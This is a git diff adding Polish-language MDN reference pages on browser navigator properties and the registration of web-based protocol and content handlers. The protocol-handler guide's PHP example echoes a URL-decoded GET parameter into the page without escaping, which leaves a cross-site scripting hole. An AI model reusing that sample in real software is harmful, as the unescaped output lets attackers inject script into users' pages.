+<p>Poniższy przykład wyświetla wewnątrz zaawansowanego dokumentu informacje o zainstalowanych wtyczkach. Zauważ własności dostępne w obiekcie Plugin: name, filename i description.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+ var L = navigator.plugins.length;
+ document.write(L.toString().bold() + " Plugin(s)".bold());
+ document.write("&lt;br&gt;");
+ document.write("Nazwa wtyczki | Nazwa pliku | Opis".bold());
+ document.write("&lt;br&gt;");
+ for(var i=0; i&lt;L; i++) {
+ document.write(navigator.plugins[i].name);
+ document.write(" | ");
+ document.write(navigator.plugins[i].filename);
+ document.write(" | ");
+ document.write(navigator.plugins[i].description);
+ document.write("&lt;br&gt;");
+ }
+&lt;/script&gt;
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Obiekt <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/Plugin">Plugin</a></code> wyświetla skromny interfejs w celu uzyskania informacji o różnych wtyczkach zainstalowanych w przeglądarce. Lista wtyczek jest również dostępna poprzez wprowadzenie <kbd>about:plugins</kbd> w pasku adresu.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.plugins", "ja": "ja/DOM/window.navigator.plugins" } ) }}</p>
diff --git a/files/pl/web/api/navigator/product/index.html b/files/pl/web/api/navigator/product/index.html
new file mode 100644
index 0000000000..50d34a4a66
--- /dev/null
+++ b/files/pl/web/api/navigator/product/index.html
@@ -0,0 +1,38 @@
+---
+title: window.navigator.product
+slug: Web/API/Navigator/product
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorID/product
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność ta zwraca nazwę produktu bieżącej przeglądarki.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>productName</i> = window.navigator.product
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>productName</code> jest łańcuchem znaków.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;script&gt;
+function prod() {
+ dt = document.getElementById("d");
+ dt.innerHTML = window.navigator.product;
+}
+&lt;/script&gt;
+&lt;button onclick="prod();"&gt;produkt&lt;/button&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+// zwraca "Gecko"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Produkt jest tą częścią pełnego łańcucha identyfikatora przeglądarki, która następuje bezpośrednio po platformie. Na przykład, w identyfikatorze przeglądarki dla Netscape 6.1 produktem jest "Gecko", a pełny ciąg identyfikatora przeglądarki jest następujący: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.product", "ja": "ja/DOM/window.navigator.product" } ) }}</p>
diff --git a/files/pl/web/api/navigator/productsub/index.html b/files/pl/web/api/navigator/productsub/index.html
new file mode 100644
index 0000000000..e5e580cbe9
--- /dev/null
+++ b/files/pl/web/api/navigator/productsub/index.html
@@ -0,0 +1,52 @@
+---
+title: Navigator.productSub
+slug: Web/API/Navigator/productSub
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/productSub
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>productSub</b> zwraca numer kompilacji bieżącej przeglądarki.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>prodSub</i> = window.navigator.productSub
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>prodSub</code> jest łańcuchem znaków.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>&lt;script&gt;
+function prodsub() {
+ dt = document.getElementById("d").childNodes[0];
+ dt.data = window.navigator.productSub;
+}
+&lt;/script&gt;
+&lt;button onclick="prodsub();"&gt;productSub&lt;/button&gt;
+// zwraca: 20010725
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>W IE własność ta zwraca wartość nieokreśloną.</p>
+
+<p>W Apple Safari własność zawsze zwraca <code>20030107</code>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.productSub", "ja": "ja/DOM/window.navigator.productSub" } ) }}</p>
diff --git a/files/pl/web/api/navigator/registercontenthandler/index.html b/files/pl/web/api/navigator/registercontenthandler/index.html
new file mode 100644
index 0000000000..58f6f5dd39
--- /dev/null
+++ b/files/pl/web/api/navigator/registercontenthandler/index.html
@@ -0,0 +1,49 @@
+---
+title: Navigator.registerContentHandler
+slug: Web/API/Navigator/registerContentHandler
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/registerContentHandler
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące zawartości konkretnego typu MIME.</p>
+
+<p>{{ Note("Strony internetowe mogą zarejestrować tylko siebie jako serwisy obsługujące zawartość. Ze względów bezpieczeństwa nie jest możliwe, aby rozszerzenie lub strona internetowa zarejestrowały inną stronę do obsługi zawartości.") }}</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">window.navigator.registerContentHandler(<i>mimeType</i>,
+<i>uri</i>,
+<i>title</i>);
+</pre>
+
+<ul>
+ <li><code>mimeType</code> jest żądanym typem MIME zapisanym jako łańcuch znaków.</li>
+ <li><code>uri</code> jest adresem URI uchwytu, zapisanym jako łańcuch znaków.</li>
+ <li><code>title</code> jest tytułem uchwytu, przedstawionym użytkownikowi jako łańcuch znaków.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",
+ "<span class="nowiki">http://www.przyklad.tld/?foo=%s</span>",
+ "Mój Czytnik Kanałów");
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>W <a href="pl/Firefox_2">Firefoksie 2</a> obsługiwane są tylko typy MIME <code>application/vnd.mozilla.maybe.feed</code>, <code>application/atom+xml</code> oraz <code>application/rss+xml</code>. Wszystkie wartości mają ten sam efekt, a zarejestrowane strony obsługujące otrzymają kanały we wszystkich wersjach Atom i RSS.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Określona przez <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">szkic roboczy Web Applications 1.0</a> organizacji WHATWG.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.registerContentHandler", "ja": "ja/DOM/window.navigator.registerContentHandler" } ) }}</p>
diff --git a/files/pl/web/api/navigator/registerprotocolhandler/index.html b/files/pl/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..b5b040b91d
--- /dev/null
+++ b/files/pl/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,66 @@
+---
+title: Navigator.registerProtocolHandler
+slug: Web/API/Navigator/registerProtocolHandler
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Firefox 3
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Umożliwia zarejestrowanie witryny internetowej jako mechanizmu obsługi danego protokołu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">window.navigator.registerProtocolHandler(<i>protokół</i>,
+<i>uri</i>,
+<i>nazwa</i>);
+</pre>
+
+<ul>
+ <li><code>protokół</code> to protokół, który dana witryna ma obsługiwać, określony jako łańcuch znaków.</li>
+ <li><code>uri</code> to identyfikator URI witryny, określony jako łańcuch znaków. Możliwe jest użycie zmiennej "%s" w celu określenia, w którym miejscu powinien zostać wstawiony identyfikator URI obsługiwanego dokumentu (znaki specjalne w ciągu identyfikatora muszą być zamienione na sekwencje sterujące —
+ <i>escape sequences</i>
+ ).</li>
+ <li><code>nazwa</code> to nazwa funkcji obsługi wyświetlana użytkownikowi, określona jako łańcuch znaków.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<p>Poniżej podano sposób rejestracji mechanizmu obsługi protokołu
+ <i>mailto</i>
+ przez przykładową aplikację internetową znajdującą się pod adresem <span class="nowiki">http://www.example.com</span>:</p>
+
+<pre class="eval">navigator.registerProtocolHandler("mailto",
+ "<a class="link-https" href="https://www.example.com/?uri=%s" rel="freelink">https://www.example.com/?uri=%s</a>",
+ "Poczta internetowa");
+</pre>
+
+<p>W powyższym kodzie tworzona jest funkcja obsługi odnośników
+ <i>mailto</i>
+ , która powoduje przejście do przykładowej strony. Adres e-mail określony w odnośniku jest wstawiany do adresu URL.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Określone w specyfikacji WHATWG <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0, wersja robocza</a>.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Obs%c5%82ugi_protoko%c5%82%c3%b3w_przez_aplikacje_WWW">Obsługi protokołów przez aplikacje WWW</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.registerProtocolHandler", "es": "es/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DOM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler" } ) }}</p>
diff --git a/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
new file mode 100644
index 0000000000..2a9863088c
--- /dev/null
+++ b/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
@@ -0,0 +1,107 @@
+---
+title: Obsługa protokołów przez aplikacje WWW
+slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+---
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> {{ Fx_minversion_header(3) }}
+</p>
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+Często na stronach internetowych znaleźć można odnośniki do zasobów korzystających z protokołów innych niż <code>http</code>. Przykładem jednego z nich jest protokół <code>mailto</code>:
+</p>
+<pre>&lt;a href="mailto:webmaster@example.com"&gt;Napisz do webmastera&lt;/a&gt;
+</pre>
+<p>Twórcy witryn internetowych używają odnośników <code>mailto:</code>, kiedy chcą zapewnić użytkownikom wygodny sposób na wysłanie wiadomości e-mail z poziomu strony WWW. Kiedy użytkownik aktywuje odnośnik, przeglądarka zwykle uruchamia domyślny program pocztowy określony w ustawieniach systemu operacyjnego. Można to określić jako <i>desktopowy</i> sposób obsługi protokołów.
+</p><p>Aplikacje WWW również mogą zapewnić obsługę takich protokołów. Od kiedy coraz więcej rodzajów aplikacji przenoszonych jest do środowiska WWW, potrzeba takiej integracji jest coraz bardziej wyraźna. W istocie, istnieje szereg aplikacji WWW do obsługi poczty elektronicznej, które mogłyby przetwarzać odnośniki <code>mailto</code>.
+</p>
+<h3 id="Rejestracja" name="Rejestracja">Rejestracja</h3>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+</p><p>Ustawienie aplikacji jako mechanizmu obsługującego protokół nie jest skomplikowane. W zasadzie wystarczy, by witryna skorzystała z metody <code><a href="pl/DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code>, by zarejestrować się w przeglądarce jako potencjalny mechanizm obsługi danego protokołu. Na przykład:
+</p>
+<pre>navigator.registerProtocolHandler("mailto",
+ "https://www.example.com/?uri=%s",
+ "Przykładowa poczta");
+</pre>
+<p>gdzie parametrami są:
+</p>
+<ul><li> protokół (uwaga, bez dwukropka - przyp. tłum.);
+</li><li> szablon adresu URL mechanizmu obsługi protokołu. Znaki "%s" zostaną zastąpione pełną zawartością atrybutu <code>href</code> odnośnika; tak powstały adres URL wywołany zostanie metodą GET;
+</li><li> przyjazna dla użytkownika nazwa mechanizmu obsługi protokołu
+</li></ul>
+<p>Przeglądarka wykonując tę metodę wyświetli okno, w którym użytkownik będzie mógł wyrazić zgodę na zarejestrowanie aplikacji WWW jako mechanizmu obsługi protokołu. Firefox wyświetla następujące pytanie w obszarze powiadomień:
+</p><p><img alt="Image:wph-notification.png">
+</p><p>{{ Note() }}
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład rejestracji obsługi protokołów&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ navigator.registerProtocolHandler("fikcyjny", "http://starkravingfinkle.org/projects/wph/handler.php?value=%s", "Fikcyjny protokół");
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład rejestracji obsługi protokołów&lt;/h1&gt;
+ &lt;p&gt;Strona ta zainstaluje mechanizm obsługi protokołów dla protokołu &lt;code&gt;fikcyjny:&lt;/code&gt;.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Aktywacja" name="Aktywacja">Aktywacja</h3>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+Od tej pory kiedykolwiek użytkownik aktywuje odnośnik do zasobu o zarejestrowanym protokole, przeglądarka przekieruje żądanie do adresu URL dostarczonego podczas rejestracji. Firefox domyślnie poprosi uprzednio użytkownika o potwierdzenie tej czynności.
+</p><p><img alt="Image:wph-launch.png">
+</p>
+<h4 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h4>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+ &lt;title&gt;Test obsługi protokołów&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;Widzieliście już kiedyś &lt;a href="fikcyjny:to%20nie%20istnieje"&gt;coś takiego&lt;/a&gt;?&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Obs.C5.82uga_protoko.C5.82u" name="Obs.C5.82uga_protoko.C5.82u">Obsługa protokołu</h3>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+Kolejnym etapem jest obsłużenie żądania. Przeglądarka pobiera atrybut <code>href</code> odnośnika, łączy go z szablonem adresów URL podanym podczas rejestracji mechanizmu obsługi i wysyła do serwera żądanie HTTP GET z wynikowym adresem. Dla powyższego przykładu przeglądarka wyśle żądanie GET o następującym adresie:
+</p>
+<pre>http://starkravingfinkle.org/projects/wph/handler.php?value=fikcyjny:to%20nie%20istnieje
+</pre>
+<p>Po stronie serwera można odebrać przekazany adres URL i wykonać żądane akcje.
+</p><p>{{ Note("Kod po stronie serwera dostanie <b>całą</b> zawartość atrybutu <code>href</code>. Oznacza to, że serwer będzie musiał podczas przetworzyć otrzymany adres URL i oddzielić protokół od danych.") }}
+</p>
+<h4 id="Przyk.C5.82ad_3" name="Przyk.C5.82ad_3">Przykład</h4>
+<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span>
+</p>
+<pre>&lt;?php
+$value = "";
+if ( isset ( $_GET["value"] ) ) {
+ $value = $_GET["value"];
+}
+?&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+ &lt;title&gt;Obsługa protokołów - przykład&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Obsługa protokołów - przykład&lt;/h1&gt;
+ &lt;p&gt;Strona ta otwierana jest po aktywowaniu odnośnika do zasobu o protokole &lt;code&gt;fikcyjny:&lt;/code&gt;. Otrzymane dane:&lt;/p&gt;
+ &lt;textarea&gt;
+&lt;?php echo(urldecode($value)) ?&gt;
+ &lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers" } ) }}
diff --git a/files/pl/web/api/navigatorlanguage/index.html b/files/pl/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..7d6b0751e7
--- /dev/null
+++ b/files/pl/web/api/navigatorlanguage/index.html
@@ -0,0 +1,148 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+tags:
+ - API
+ - HTML-DOM
+ - NeedsTranslation
+ - No Interface
+ - Reference
+ - TopicStub
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorLanguage</strong></code> contains methods and properties related to the language of the navigator.</p>
+
+<p>There is no object of type <code>NavigatorLanguage</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorLanguage</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorLanguage</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Since the {{SpecName('HTML5 W3C')}} snapshot, the <code>languages</code> property has been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>languages</code></td>
+ <td>37</td>
+ <td>{{CompatGeckoDesktop("32")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>24</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("35")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>languages</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}} </td>
+ <td>{{CompatGeckoMobile("32")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("35")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/pl/web/api/navigatoronline/index.html b/files/pl/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..11f6707c43
--- /dev/null
+++ b/files/pl/web/api/navigatoronline/index.html
@@ -0,0 +1,127 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+tags:
+ - API
+ - HTML-DOM
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
+
+<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(29)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(29)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html b/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html
new file mode 100644
index 0000000000..d286acc4b0
--- /dev/null
+++ b/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html
@@ -0,0 +1,84 @@
+---
+title: Zdarzenia online i offline
+slug: Web/API/NavigatorOnLine/Zdarzenia_online_i_offline
+tags:
+ - AJAX
+ - DOM
+ - Programowanie_WWW
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>{{ Fx_minversion_header(3) }} W programie <a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3</a> zaimplementowano obsługę <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">zdarzeń online i offline</a> zdefiniowanych w <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">specyfikacji WHATWG Web Applications 1.0</a>.
+</p>
+<h3 id="Om.C3.B3wienie" name="Om.C3.B3wienie"> Omówienie </h3>
+<p>Do stworzenia dobrej aplikacji internetowej działającej w trybie offline konieczne jest istnienie sposobu na sprawdzenie, kiedy aplikacja faktycznie znajduje się w trybie offline. W niektórych przypadkach potrzebna jest także możliwość stwierdzenia, czy aplikacja powróciła do stanu „online”. W praktyce sprowadza się to do dwóch wymagań:
+</p>
+<ol><li> Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb online, aby można było przeprowadzić ponowną synchronizację z serwerem. </li><li> Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb offline, aby można było odłożyć wysłanie żądania do serwera na później. </li></ol>
+<p>Zdarzenia online i offline pozwalają na uproszczenie powyższych procedur. </p><p>W aplikacji internetowej może także być konieczne wymuszenie przechowywania określonych dokumentów w pamięci podręcznej zasobów offline. W tym celu w kodzie sekcji <code>HEAD</code> należy wstawić znacznik <code>LINK</code> przedstawiony poniżej:
+</p>
